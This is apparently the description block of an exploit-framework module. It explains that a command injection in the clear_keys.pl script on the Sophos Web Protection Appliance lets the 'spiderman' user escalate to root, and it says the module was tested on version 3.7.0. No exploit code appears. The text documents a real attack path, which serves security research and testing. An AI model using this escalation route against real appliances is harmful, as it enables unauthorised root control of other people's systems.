This module abuses a command injection on the clear_keys.pl perl script, installed with the  
Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".  
This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection  
Appliance web ui, executed by the "spiderman" user. This module has been tested successfully  
on Sophos Virtual Web Appliance 3.7.0.
